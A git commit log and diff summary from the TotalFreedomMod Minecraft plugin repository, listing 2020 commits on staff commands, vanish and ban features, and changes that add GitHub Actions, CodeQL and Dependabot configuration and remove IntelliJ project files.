2020-08-18 09:40:56 +02:00
6a7a6e74e3 Update code 2020-08-18 09:37:19 +02:00
1e36b484ac Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development
 Conflicts:
	src/main/java/me/totalfreedom/totalfreedommod/Monitors.java
2020-08-18 09:32:05 +02:00
efae9e314f Merge pull request #264 from DragonSlayer2189/patch-4
added "kicked (user) quietly" msg
2020-08-18 09:29:35 +02:00
ea946fe14f Merge pull request #265 from DragonSlayer2189/patch-3
added "banned (user) quietly" message
2020-08-18 09:29:14 +02:00
fc08761e70 Merge pull request #272 from Focusvity/pr/discord-msg
Prevent Discord from sending messages to the server
2020-08-18 09:27:05 +02:00
3f68677d99 Don't send empty messages 2020-08-18 15:52:19 +10:00
f4007a7c9d Fix long standing bug with player notes 2020-08-17 23:53:21 -05:00
f3a655d40d Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development 2020-08-17 21:21:21 -05:00
6b3a765c90 shorten Administrator 2020-08-17 21:21:13 -05:00
7e8a519c87 Update src/main/java/me/totalfreedom/totalfreedommod/command/Command_kick.java
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2020-08-17 19:00:07 -04:00
388e1fd52d Update src/main/java/me/totalfreedom/totalfreedommod/command/Command_ban.java
Co-authored-by: Nathan Curran <30569566+Focusvity@users.noreply.github.com>
2020-08-17 18:59:26 -04:00
cdb28afba6 Merge pull request #271 from speedxx/development
index httpd module
2020-08-17 17:54:50 -05:00
24575aba88 index httpd module 2020-08-17 18:17:45 -04:00
090c445aa9 seth kelly 2020-08-16 22:33:35 -05:00
c936759b6c oup 2020-08-15 21:18:47 -05:00
36fc1a00b6 bru 2020-08-15 19:32:25 -05:00
7b9920dbc4 Merge pull request #268 from speedxx/development
stuff seth missed
2020-08-15 19:24:47 -05:00
b0daf2066a supervanish is gone 2020-08-15 20:17:54 -04:00
ed5d18c0df rip supervanish 2020-08-15 18:03:26 -05:00
04a7b633a4 it compiles now 2020-08-15 17:58:48 -05:00
7a810519f3 fuck intellij 2020-08-15 17:44:50 -05:00
53038ca3b2 fuck intellij 2020-08-15 17:42:46 -05:00
e77d92407c Revert "forgot to pull"
This reverts commit e4c9ea656e.
2020-08-15 17:41:26 -05:00
da80f1b69e Revert "Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development"
This reverts commit 4407e9e6ec, reversing
changes made to e4c9ea656e.
2020-08-15 17:41:23 -05:00
4407e9e6ec Merge branch 'development' of https://github.com/TFPatches/TotalFreedomMod into development 2020-08-15 17:09:03 -05:00
e4c9ea656e forgot to pull 2020-08-15 17:08:39 -05:00
63570d61d6 admins are seniors 2020-08-15 13:06:58 -04:00
257a2eec33 no 2020-08-15 12:37:20 -04:00
78b73b3b63 stuff seth missed
admin -> staff
2020-08-15 12:35:48 -04:00
d74846cde6 Fixed my bad code 2020-08-15 15:33:29 +02:00
3f4d34d172 Forgot to actually make sure this compiles lol 2020-08-14 23:48:31 -07:00
f5b5fcd5ef Admins are now known as staff
To other developers: If you find places where staff are refered to as only admins pls fix it for me.
2020-08-14 23:44:57 -07:00
f42e047723 Merge pull request #267 from speedxx/development
fix exceptions, properly teleport player in /ride
2020-08-14 22:10:09 -05:00
e79145ee54 fix exceptions, properly teleport player in /ride
- fixes ArrayIndexOutOfBoundsException in /ride
- teleport sender properly if target is in different world for /ride
- fixes IllegalArgumentException in /stopsound
2020-08-14 21:56:04 -04:00
6dbc99690a added "kicked (user) quietly" msg
once again, did i do this right
2020-08-14 00:34:01 -04:00
8628e88e3a added "banned (user) quietly" message
did i do this right, idk java
2020-08-14 00:29:50 -04:00
51e1191816 Increase range on tpr 2020-08-13 22:14:12 -05:00
e294ef8312 Reimplement vanish command
- SuperVanish has a wack permission system, and it didn't work in some rare circumstances. Added back TFMs vanish with the SuperVanish API
- Fixed the permission nodes so admins can see other admins, like how it was in TFM
2020-08-13 14:34:03 -05:00
541abb1ba8 whoever commented the shit out in the pom.xml: i hope both sides of your pillow are warm tonight 2020-08-12 22:07:15 -05:00
306c8bc8b9 ok 2020-08-12 18:51:10 -05:00
9f006325b4 This is no longer needed 2020-08-09 22:25:16 -07:00
aab4f55b7d UUID definite bans 2020-08-09 22:25:04 -07:00
00f94e47f1 github is a love hate relationship 2020-08-09 17:49:52 -07:00
44b7307e4d Revert "Revert "Permbans are now indefinite bans.""
This reverts commit 54df0e08f5.
2020-08-09 17:49:35 -07:00
54df0e08f5 Revert "Permbans are now indefinite bans."
This reverts commit 4003db6dd9.
2020-08-09 17:49:20 -07:00
4003db6dd9 Permbans are now indefinite bans. 2020-08-09 17:48:42 -07:00
f4f25c1590 useless 2020-08-09 17:47:53 -07:00
328225fe6e Merge pull request #262 from speedxx/development
fix adminchat bug
2020-08-08 22:35:45 -05:00
087e4a0d9c fix adminchat bug 2020-08-08 23:20:06 -04:00
2ecde80b5f AMP automation 2020-08-07 22:51:09 -07:00
075299dbd9 Merge pull request #261 from speedxx/development
-q arg for more commands
2020-08-07 18:45:00 -07:00
30d5a1d888 -q arg for more commands
- add `-q` arg for tban, warn, and tempban
- add reasons to tban
(#259)
2020-08-07 20:51:47 -04:00
b6746acb44 Merge pull request #255 from Focusvity/pr/modifyitem-fix
Fixed modifyitem command
2020-08-08 00:38:59 +02:00
560353e7cf Merge pull request #258 from DragonSlayer2189/patch-1
Removed "Build" "break-block" and "place-block"
2020-08-08 00:36:12 +02:00
86cf9dc344 I hate PacksGamingHD.
fix tossmob not working, toggle stuff
2020-08-06 16:18:32 -05:00
877c174e2d I hate PacksGamingHD. 2020-08-06 16:17:18 -04:00
642725252b fix tossmob not working, toggle stuff
- fix tossmob not working, sorta revamp it (#259)
- make tossmob and a few other config things toggleable with /toggle (note mp44 and landmines still don't work, i'll probably try and fix those too)
- replace if else statements with switch and catch (yandere dev code type beat)
2020-08-06 16:05:17 -04:00
880b78e528 master 2020-08-05 02:01:21 -05:00
7224319fae Removed "Build" "break-block" and "place-block"
removed these flags from restricted worlds due to it breaking gravity blocks, redstone, pistons, and various other things, blocks still cant be broken due to the onblockplace and onblockbreak event handlers

idk how to add this but /summon, /spawnmob, /etree, /ebigtree, and any of those commands aliases also need to be blocked due to them being able to bypass these restrictions
2020-08-04 19:13:35 -04:00
ca8758cbb1 oup 2020-08-04 17:31:17 -05:00
81df3103b6 Some updates
- Added Reddit flair sync
- Removed magical saddle because the stacking potato does the same thing
- Some internal improvements
- Fixed bug where if a service throws an error while starting or stopping it breaks the entire plugin
2020-08-04 15:16:11 -07:00
b73d1df350 baddev 2020-08-04 15:05:43 -05:00
299b31a75b Merge pull request #256 from Focusvity/pr/command-fix
Plugin-specific registration fix
2020-08-04 14:29:38 -05:00
8832d5c870 Merge pull request #257 from speedxx/development
silent joining and leaving fixes
2020-08-04 14:29:19 -05:00
abe3b68480 Update permissions.yml 2020-08-04 15:28:40 -04:00
5c50f8f27d silent joining and leaving fixes 2020-08-04 15:11:16 -04:00
4561641d2b Plugin-specific registration fix 2020-08-04 18:14:42 +10:00
4555a7e3f2 [WIP / DO NOT USE ON PRODUCTION!!] Begin implementing support for SuperVanish and fix bugs
- Update dependencies in pom.xml
- Replace TotalFreedomMod's vanish system with SuperVanish. It's widely supported by many major plugins and does a better job vanishing players
- Fixed a typo in the SQL command for creating admin tables, where the table would not be created on a clean install of TFM
- Update bStats Metrics to latest version
- Remove the VanishHandler
- Sync the permissions.yml from whats on the server. Entries for Essentials and SuperVanish will be added soon

KNOWN BUG:
- Plugins override TFM commands (e.g. Essentials takes over /list instead of giving it to TFM). I noticed that there is a semicolon before every TFM command. (:/ban, :/list), which is the actual TFM command. I have no idea where / how this bug came from. Urgently needs to be fixed.
2020-08-04 01:31:26 -05:00
c826afe399 Removed some imports 2020-08-04 11:44:01 +10:00
ae57573eeb Fixed modifyitem command 2020-08-04 11:39:59 +10:00
073a618035 Hotfix to potion spy
Note to self: don't do crack cocain when you code, this will actually announce the potion splashes to admins (also fixed a spell issue).
2020-08-04 00:07:50 +02:00
e1b514ca85 Merge pull request #253 from speedxx/patch-1
replace private constructors & 1.16 attribute names
2020-08-03 14:18:53 -05:00
3f942613d7 add missing mobs here too why not 2020-08-03 13:52:49 -04:00
bb4f8d1fc6 replace private constructors & new attribute names 2020-08-03 13:50:44 -04:00
5401cc5dc7 Merge pull request #252 from TFPatches/development
August Update
2020-08-03 10:13:33 -07:00
1a7c14ad3e Formatting fixes and bump up the versions on the pom.xml 2020-08-02 20:59:47 -05:00
25bf79bdb1 this was causing issues 2020-08-02 19:06:45 -05:00
12a4f4da84 Seeing if this will fix the compiling issue 2020-08-02 13:26:21 -07:00
a0b29c1d01 We dont use javadoc & format fixes 2020-08-01 17:46:14 -07:00
76bb2d08ac Split gcmd sub cmds out n other stuff 2020-07-31 21:10:44 -07:00
891e5c2f12 Merge pull request #250 from CoolJWB/development
Made nc work with hex colors
2020-07-31 21:53:59 +02:00
4de1fe454d Fixed oopsie 2020-07-31 21:48:22 +02:00
80e39d3db1 Hex color for nc
Made sure that hex colors are cleared correctly.
2020-07-31 21:46:44 +02:00
e25e785c26 Merge pull request #249 from speedxx/development
weSmart
2020-07-29 18:32:43 +02:00
0ae835aa04 weSmart
sourcetype fixes; making sure in game commands work only in game
2020-07-28 23:14:58 -04:00
05abebea65 Merge pull request #248 from CoolJWB/development
A bridge for TF-FAWE
2020-07-29 02:48:12 +02:00
c04e944466 A bridge for TF-FAWE
Made a bridge for a TotalFreedom version of FastAsyncWorldEdit that will work better with our needs and not collide with other plugins.
2020-07-29 02:45:16 +02:00
3ee80e0f70 Merge pull request #247 from ZeroEpoch1969/development
literally had to do this shit the dumb ass way
2020-07-28 14:59:34 -07:00
27f7276698 Dont have my pc, have to do this from github
2/2
2020-07-28 14:56:45 -07:00
9ecfe703cb Dont have my pc, have to do this from github
1/2
2020-07-28 14:55:38 -07:00
ab660a7ca7 Merge pull request #243 from vJayyy/patch-4
Format change (/cmdspy)
2020-07-28 14:38:39 -07:00
2353c728c1 Merge pull request #246 from speedxx/development
fix beds exploding in new nether biomes
2020-07-28 14:38:12 -07:00
106e457fa7 fix beds exploding in new nether biomes
add end biomes too since beds explode there aswell & fix the stupid "(amount) entitiess removed." shit too
2020-07-28 16:24:41 -04:00
582acdb176 It's late lol
derp
2020-07-28 02:33:42 -04:00
05f94920d9 Format change (/cmdspy)
While executing this during administration I noticed the ratio between execution and response was rather delayed, and I realized it's because the command is waiting for all the tables and grab methods to run before sending the player the enabled/disabled message. This creates a false sense of lag and is as simple as making the message run before anything else, given that the methods run and tables save almost instantly, this won't negatively affect the module or command.
2020-07-28 02:12:30 -04:00
ee04a456a1 Merge pull request #242 from speedxx/patch-1
fix clearchat
2020-07-27 22:41:50 -05:00
8e8daa457b fix clearchat 2020-07-27 23:37:10 -04:00
95e67f84ef Merge pull request #241 from speedxx/development
add magical saddle to shop
2020-07-25 21:08:24 -07:00
6f2d5aa08d add magical saddle to shop 2020-07-25 22:59:37 -04:00
417a0c39dd Merge pull request #240 from speedxx/development
separate unblocking commands from bcmd
2020-07-25 20:31:03 +02:00
4ad7fd874f separate unblocking commands from bcmd 2020-07-24 23:24:14 -04:00
aef85b2120 Merge pull request #239 from speedxx/development
i am a massive retard
2020-07-23 23:12:05 -04:00
37c65a85d4 Update FUtil.java 2020-07-23 23:03:53 -04:00
d93a2a7e7d Merge pull request #238 from speedxx/development
fix nickclean not being registered
2020-07-23 19:50:02 -04:00
db414164dc fix nickclean not being registered
also allow for ops/non-ops to run /opme, there isn't any reason as to why this command should be limited to  admins only
2020-07-23 19:05:38 -04:00
30085a7a52 Merge pull request #237 from speedxx/development
revamp vanish
2020-07-22 18:04:36 -04:00
7593fbda9e revamp vanish 2020-07-22 17:40:58 -04:00
fc05003354 Merge pull request #236 from speedxx/development
fix cage & uncage
2020-07-21 23:20:23 -05:00
113350b228 fix this too 2020-07-21 23:56:18 -04:00
a1f64ef912 oop 2020-07-21 23:54:56 -04:00
e4ee3066bc Merge pull request #235 from speedxx/development
fix guildchat being sent to discord
2020-07-21 15:28:03 -04:00
2bf78bcccf fix guildchat being sent to discord 2020-07-21 15:21:51 -04:00
8c93da758a Forgot question mark 2020-07-20 07:07:20 -07:00
75e50582e9 Kuper forgot db stuff 2020-07-20 07:05:00 -07:00
d92f661f12 2 new devs 2020-07-20 06:27:37 -07:00
22d40bd0e9 Merge pull request #234 from speedxx/development
readd console checks for saconfig
2020-07-19 20:35:42 -07:00
3f75712732 readd console checks for saconfig 2020-07-19 22:10:51 -04:00
fc31babff3 Merge pull request #233 from speedxx/development
fix npe in /myinfo
2020-07-18 19:58:09 -04:00
588a2f1eba fix npe in /myinfo 2020-07-18 19:51:17 -04:00
4f276ec78e Merge pull request #232 from speedxx/development
remove aw guest from tab complete
2020-07-18 14:12:09 -04:00
2ce1a3d1d3 remove aw guest from tab complete
& fix the description
2020-07-18 13:56:13 -04:00
cef2d8cec4 Let sender know votes were changed. 2020-07-17 21:04:22 -07:00
12b096b0ad mute & unmute improvements 2020-07-17 18:00:26 -07:00
cb1c67e568 mute & unmute improvements
- fix muted player messages being sent to discord
- fix mute sending 2 messages
- tell sender target has been unmuted
2020-07-17 19:54:46 -04:00
5a41632654 typo type beat 2020-07-17 16:00:27 -04:00
cde24b748a make discord chat toggleable from in-game 2020-07-17 15:58:15 -04:00
0e63857ae0 lol 2020-07-17 00:40:10 -04:00
b8e5de2080 real smart nathan 2020-07-16 22:55:57 -04:00
62aa46f856 Merge pull request #229 from Focusvity/patch-1
Fix Issue #228 - unvanishing doesn't show admins
2020-07-16 22:54:44 -04:00
d33f661d55 Merge pull request #230 from speedxx/development
remove this blocked string & don't send messages containing discord.gg to server-chat
2020-07-16 22:31:21 -04:00
c1f0d81fcc remove this blocked string & don't send messages containing discord.gg to server-chat 2020-07-16 22:24:59 -04:00
c4124de781 Fix Issue #228 - unvanishing doesn't show admins 2020-07-17 12:02:22 +10:00
30fd3ea6a1 increase login char limit 2020-07-16 00:45:44 -04:00
6435078703 /sit 2020-07-16 00:06:58 -04:00
03b22ac326 make aw available to ops 2020-07-15 20:17:45 -04:00
a1418eb516 Fixed reactions 2020-07-15 01:40:48 -07:00
7a08152c14 Some adjustments 2020-07-15 01:22:32 -07:00
bf6ef152d9 add zoglin and piglin spawn eggs to the egg list 2020-07-15 00:45:57 -04:00
114567a302 randomized gradients and /playtime 2020-07-15 00:23:26 -04:00
067180d2cf add defaulting for command permissions 2020-07-14 19:07:46 -04:00
4973318249 Merge pull request #226 from CoolJWB/development
Better potionspy
2020-07-14 18:34:50 -04:00
ceed8bd303 Merge pull request #227 from Telesphoreo/nickgr
Personally, I think this alias is very useful
2020-07-14 18:31:49 -04:00
a7d386e6be Personally, I think this alias is very useful 2020-07-14 14:56:36 -07:00
6e622ad2f3 Potionspy remake
Remade the entire potionspy and monitor class to avoid spam in the chat.

Furthermore, there is now a way to look at a history of potions thrown (individually and globally) however this history is limited to avoid too much useless data in the memory.
2020-07-14 21:00:22 +02:00
2ca57c9b39 Nick gradient, and some other thing 2020-07-13 23:00:08 -07:00
eea17a24bc i'm gonna cry this is amazing x2 2020-07-13 20:52:53 -04:00
7d6370da23 i'm gonna cry this is amazing 2020-07-13 20:41:44 -04:00
cdb385dd20 Merge pull request #224 from CoolJWB/development
Fix tempban reason issues
2020-07-13 10:13:45 -04:00
cb108e0c13 Fix tempban reason issues
Tempban won't cut off reasons that take the durations argument place anymore.
2020-07-13 01:34:39 +02:00
f9e8a4c8ba set command feedback to automatically be false 2020-07-12 12:13:41 -04:00
c836838f51 Hopefully the last hot update for now 2020-07-11 23:54:33 -07:00
6ca7f6ba24 :) 2020-07-11 23:53:40 -07:00
c7c567a14f Version change & hot update so I can restore shop data
also fuck cbtool
2020-07-11 23:53:11 -07:00
38918afe67 Update this 2020-07-10 02:12:55 -07:00
ba2b636e04 2 MB bug fixes 2020-07-10 02:10:52 -07:00
da1bec6cc0 2 MB bug fixes 2020-07-10 02:09:47 -07:00
4e432eeeea fix merging fuck up, fuck squashing 2020-07-10 01:14:49 -07:00
f6bf485c0d fix merging fuck up, fuck squashing 2020-07-10 01:13:18 -07:00
06d40927b0 Merge pull request #220 from TFPatches/development
Shouldn't of squashed this.
2020-07-10 01:04:41 -07:00
58872e2c32 Merge branch 'server' into development 2020-07-10 01:04:02 -07:00
00450e5732 i dislike people 2020-07-10 00:58:52 -07:00
98f4af7fab Hot fixes 2020-07-09 22:43:10 -07:00
7b7f09e457 1.16 Update (#219) 2020-07-09 17:07:03 -07:00
4a297a237c Fix teams not being removed for ops if they were offline
also forgot to update the display of donators
2020-07-09 16:22:12 -07:00
d12a121300 useless 2020-07-09 15:29:00 -07:00
c87e1b3d64 Read description lol
- Re-added premium
- Made the clown fish a shop item
- Thank fuck I caught this DB bug with setting null values
2020-07-09 15:18:29 -07:00
f6ee9271c6 yeah no 2020-07-09 14:11:36 -04:00
4328a13eaf Bad imports 2020-07-07 19:18:09 -07:00
ed9fe87e44 and these 2020-07-07 19:17:59 -07:00
8b4a91b2e6 Fix command blocker 2020-07-07 19:10:21 -07:00
c1a7b1c141 forgot a thing 2020-07-07 19:08:00 -07:00
78349ba49e Add back the project configurations 2020-07-07 19:04:10 -07:00
d74eeec113 Guess I had to modify LibsDisguises after all 2020-07-07 01:36:29 -07:00
c333a6ee39 2 bug fixes
- Fix votifier being non-existent breaking shop
- Fix plugin breaking error
2020-07-06 22:21:35 -07:00
3fd7147fc2 i hate /campfire 2020-07-03 13:55:46 -04:00
adfd55b419 Redstone blocker fix (#217)
* Redstone blocker fix

The redstone blocker caused severe crashes in some cases such as when redstone torches and targets were connected to wire.
The event used to block redstone is not efficient in any means so this should be reverted when (or if) it is fixed internally.

* Delete encodings.xml

* Delete compiler.xml
2020-07-03 11:03:08 -04:00
2a88e05021 honestly confused?? 2020-07-02 20:40:08 -04:00
8a60ae2235 respawn anchor place prevention 2020-07-02 08:13:20 -04:00
556dfa7233 Fixed Flatlands generation & Discord bot not actually disabled (#215) 2020-07-02 02:08:57 -07:00
19ed60d407 Bossbar reactions and stacking potato 2020-07-02 01:42:27 -07:00
aac791d768 Removal of premium 2020-07-02 01:41:40 -07:00
1357ac7e09 are you kidding kelly 2020-07-01 20:29:06 -04:00
5421de0c2f fix wildcard and clean up command executor 2020-07-01 12:45:09 -04:00
9d7e0cdefc Mojang fixed this, resolves #207 2020-07-01 03:28:33 -07:00
e4d1d6ff9e yeah smart 2020-06-30 23:55:52 -04:00
3eec04ec1c quality control 2020-06-30 23:38:29 -04:00
357eddf51a bug fixing 2020-06-30 23:21:44 -04:00
baf5fd42f6 remove silly plugin 2020-06-30 21:53:00 -04:00
9d71a7f4ae removal of aero 2020-06-30 21:51:06 -04:00
9dad7c6d05 Fuckoff was pulling you towards the player 2020-06-30 02:14:44 -07:00
35b4990f0c bruh 2020-06-30 02:00:33 -07:00
b4b1128905 fuck 2020-06-30 02:00:06 -07:00
4d19d44d19 Forgot to remove this 2020-06-30 00:55:57 -07:00
eb58419a3a 1.16, overhaul of player data 2020-06-30 00:25:38 -07:00
4ddcc3b8d7 SQL DB is a WIP 2020-05-29 03:14:21 -07:00
43ee17807a Fix my OCD (#196) 2020-05-16 19:05:59 -07:00
d1cc694742 stop confirm because video is dumb (#197) 2020-05-16 19:04:25 -07:00
abbadb55ee revert shop to names, next up mysql 2020-04-29 16:29:43 -07:00
a2a4a8a0b8 Fixes for https://totalfreedom.boards.net/thread/66504/server-problems-admin-info-section (#194) 2020-04-25 19:13:54 -07:00
c49abd1f4a got bored 2020-04-23 04:18:03 -07:00
dd5e256c84 ZING (#193)
ok
2020-04-22 13:27:07 -07:00
321d9f97e0 coder of the year award goes to me 2020-04-22 01:29:27 -07:00
721c2dc18e shit 2020-04-22 01:25:00 -07:00
a523cc313c wftgeuhjor 2020-04-22 01:23:51 -07:00
385 changed files with 14675 additions and 15168 deletions

23
.github/dependabot.yml vendored Normal file
View File

@ -0,0 +1,23 @@
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://help.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
version: 2
updates:
# Maintain Maven Updates
- package-ecosystem: "maven" # See documentation for possible values
directory: "/" # Location of package manifests
target-branch: "development"
open-pull-requests-limit: 50
schedule:
interval: "daily"
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
target-branch: "development"
open-pull-requests-limit: 50
schedule:
interval: "daily"

46
.github/workflows/codacy-analysis.yml vendored Normal file
View File

@ -0,0 +1,46 @@
# This workflow checks out code, performs a Codacy security scan
# and integrates the results with the
# GitHub Advanced Security code scanning feature. For more information on
# the Codacy security scan action usage and parameters, see
# https://github.com/codacy/codacy-analysis-cli-action.
# For more information on Codacy Analysis CLI in general, see
# https://github.com/codacy/codacy-analysis-cli.
name: Codacy Security Scan
on:
push:
branches: [ development ]
pull_request:
branches: [ development ]
jobs:
codacy-security-scan:
name: Codacy Security Scan
runs-on: ubuntu-latest
steps:
# Checkout the repository to the GitHub Actions runner
- name: Checkout code
uses: actions/checkout@v2
# Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis
- name: Run Codacy Analysis CLI
uses: codacy/codacy-analysis-cli-action@4.0.0
with:
# Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository
# You can also omit the token and run the tools that support default configurations
project-token: ${{ secrets.CODACY_PROJECT_TOKEN }}
verbose: true
output: results.sarif
format: sarif
# Adjust severity of non-security issues
gh-code-scanning-compat: true
# Force 0 exit code to allow SARIF file generation
# This will handover control about PR rejection to the GitHub side
max-allowed-issues: 2147483647
# Upload the SARIF file generated in the previous step
- name: Upload SARIF results file
uses: github/codeql-action/upload-sarif@v1
with:
sarif_file: results.sarif

74
.github/workflows/codeql-analysis.yml vendored Normal file
View File

@ -0,0 +1,74 @@
# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
#
# ******** NOTE ********
# We have attempted to detect the languages in your repository. Please check
# the `language` matrix defined below to confirm you have the correct set of
# supported CodeQL languages.
#
name: "CodeQL"
on:
push:
branches: [ development ]
pull_request:
# The branches below must be a subset of the branches above
branches: [ development ]
schedule:
- cron: '20 18 * * 1'
jobs:
analyze:
name: Analyze
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
language: [ 'java' ]
# CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
# Learn more:
# https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
steps:
- name: Checkout repository
uses: actions/checkout@v2
- name: Setup Java JDK
uses: actions/setup-java@v2.3.0
with:
# The Java version to make available on the path. Takes a whole or semver Java version, or 1.x syntax (e.g. 1.8 => Java 8.x). Early access versions can be specified in the form of e.g. 14-ea, 14.0.0-ea, or 14.0.0-ea.28
java-version: 11
distribution: 'adopt'
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v1
with:
languages: ${{ matrix.language }}
# If you wish to specify custom queries, you can do so here or in a config file.
# By default, queries listed here will override any specified in a config file.
# Prefix the list here with "+" to use these queries and those in the config file.
# queries: ./path/to/local/query, your-org/your-repo/queries@main
# Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
# If this step fails, then you should remove it and run the build manually (see below)
- name: Autobuild
uses: github/codeql-action/autobuild@v1
# Command-line programs to run using the OS shell.
# 📚 https://git.io/JvXDl
# ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
# and modify them (or add more) to build your code if your project
# uses a compiled language
#- run: |
# make bootstrap
# make release
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1

43
.github/workflows/downstream.yml vendored Normal file
View File

@ -0,0 +1,43 @@
# This is a basic workflow to help you get started with Actions
name: Downstream Branch Updates
on:
schedule:
- cron: '20 7 * * *'
# scheduled at 07:00 every Monday and Thursday
workflow_dispatch: # click the button on Github repo!
jobs:
sync_with_upstream:
runs-on: ubuntu-latest
name: Sync main with upstream latest
steps:
# Step 1: run a standard checkout action, provided by github
- name: Checkout main
uses: actions/checkout@v2
with:
ref: main
# submodules: 'recursive' ### may be needed in your situation
# Step 2: run this sync action - specify the upstream repo, upstream branch to sync with, and target sync branch
- name: Pull (Fast-Forward) upstream changes
id: sync
uses: aormsby/Fork-Sync-With-Upstream-action@v2.1
with:
upstream_repository: AtlasMediaGroup/TotalFreedomMod
upstream_branch: main
target_branch: development
git_pull_args: --ff-only # optional arg use, defaults to simple 'pull'
# Step 3: Display a message if 'sync' step had new commits (simple test)
- name: Check for new commits
if: steps.sync.outputs.has_new_commits
run: echo "There were new commits."
# Step 4: Print a helpful timestamp for your records (not required, just nice)
- name: Timestamp
run: date

21
.github/workflows/java11-maven.yml vendored Normal file
View File

@ -0,0 +1,21 @@
name: Java11-Maven-Build
on: [push]
jobs:
build-java-11:
runs-on: ubuntu-latest
steps:
# Checkout the code
- uses: actions/checkout@v1
# Java 11 Builds
- name: Set up JDK 11
uses: actions/setup-java@v2.3.0
with:
java-version: 11
distribution: 'adopt'
- name: Build with Maven
run: mvn -B package --file pom.xml

21
.github/workflows/java16-maven.yml vendored Normal file
View File

@ -0,0 +1,21 @@
name: Java16-Maven-Build
on: [push]
jobs:
build-java-16:
runs-on: ubuntu-latest
steps:
# Checkout the code
- uses: actions/checkout@v1
# Java 16 Builds
- name: Set up JDK 16
uses: actions/setup-java@v2.3.0
with:
java-version: 16
distribution: 'adopt'
- name: Build with Maven
run: mvn -B package --file pom.xml

View File

@ -1,17 +0,0 @@
name: Java CI
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
- name: Set up JDK 1.8
uses: actions/setup-java@v1
with:
java-version: 1.8
- name: Build with Maven
run: mvn -B package --file pom.xml

11
.gitignore vendored
View File

@ -19,7 +19,13 @@ manifest.mf
# IntelliJ excludes # IntelliJ excludes
*.ipr *.ipr
*.iws *.iws
/.idea /.idea/modules.xml
/.idea/discord.xml
/.idea/jarRepositories.xml
/.idea/workspace.xml
/.idea/uiDesigner.xml
/.idea/libraries
/.idea/
*.iml *.iml
# Maven excludes # Maven excludes
@ -32,5 +38,4 @@ manifest.mf
.Trashes .Trashes
ehthumbs.db ehthumbs.db
Thumbs.db Thumbs.db
.idea/inspectionProfiles/Project_Default.xml
TotalFreedomMod\.iml

View File

@ -1,8 +0,0 @@
<component name="ArtifactManager">
<artifact type="jar" build-on-make="true" name="TotalFreedomMod:jar">
<output-path>$PROJECT_DIR$/target</output-path>
<root id="archive" name="TotalFreedomMod.jar">
<element id="module-output" name="TotalFreedomMod" />
</root>
</artifact>
</component>

View File

@ -1,28 +0,0 @@
<component name="ProjectCodeStyleConfiguration">
<code_scheme name="Project" version="173">
<JavaCodeStyleSettings>
<option name="CLASS_COUNT_TO_USE_IMPORT_ON_DEMAND" value="20" />
<option name="IMPORT_LAYOUT_TABLE">
<value>
<package name="" withSubpackages="true" static="false" />
<package name="" withSubpackages="true" static="true" />
</value>
</option>
</JavaCodeStyleSettings>
<codeStyleSettings language="JAVA">
<option name="BRACE_STYLE" value="2" />
<option name="CLASS_BRACE_STYLE" value="2" />
<option name="METHOD_BRACE_STYLE" value="2" />
<option name="LAMBDA_BRACE_STYLE" value="2" />
<option name="ELSE_ON_NEW_LINE" value="true" />
<option name="WHILE_ON_NEW_LINE" value="true" />
<option name="CATCH_ON_NEW_LINE" value="true" />
<option name="FINALLY_ON_NEW_LINE" value="true" />
<option name="SPACE_AFTER_TYPE_CAST" value="false" />
<option name="IF_BRACE_FORCE" value="3" />
<option name="DOWHILE_BRACE_FORCE" value="3" />
<option name="WHILE_BRACE_FORCE" value="3" />
<option name="FOR_BRACE_FORCE" value="3" />
</codeStyleSettings>
</code_scheme>
</component>

View File

@ -1,5 +0,0 @@
<component name="ProjectCodeStyleConfiguration">
<state>
<option name="USE_PER_PROJECT_SETTINGS" value="true" />
</state>
</component>

18
.idea/compiler.xml generated
View File

@ -1,18 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<annotationProcessing>
<profile default="true" name="Default" enabled="true" />
<profile name="Maven default annotation processors profile" enabled="true">
<sourceOutputDir name="target/generated-sources/annotations" />
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
<outputRelativeToContentRoot value="true" />
<module name="TotalFreedomMod" />
</profile>
</annotationProcessing>
<bytecodeTargetLevel>
<module name="totalfreedom" target="1.8" />
<module name="TotalFreedomMod" target="1.8" />
</bytecodeTargetLevel>
</component>
</project>

8
.idea/encodings.xml generated
View File

@ -1,8 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="file://$PROJECT_DIR$" charset="UTF-8" />
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
</component>
</project>

8
.idea/modules.xml generated
View File

@ -1,8 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ProjectModuleManager">
<modules>
<module fileurl="file://$PROJECT_DIR$/TotalFreedomMod.iml" filepath="$PROJECT_DIR$/TotalFreedomMod.iml" />
</modules>
</component>
</project>

View File

@ -1 +0,0 @@
language: java

View File

@ -1,3 +1,3 @@
# Contributing to TotalFreedomMod # # Contributing to TotalFreedomMod
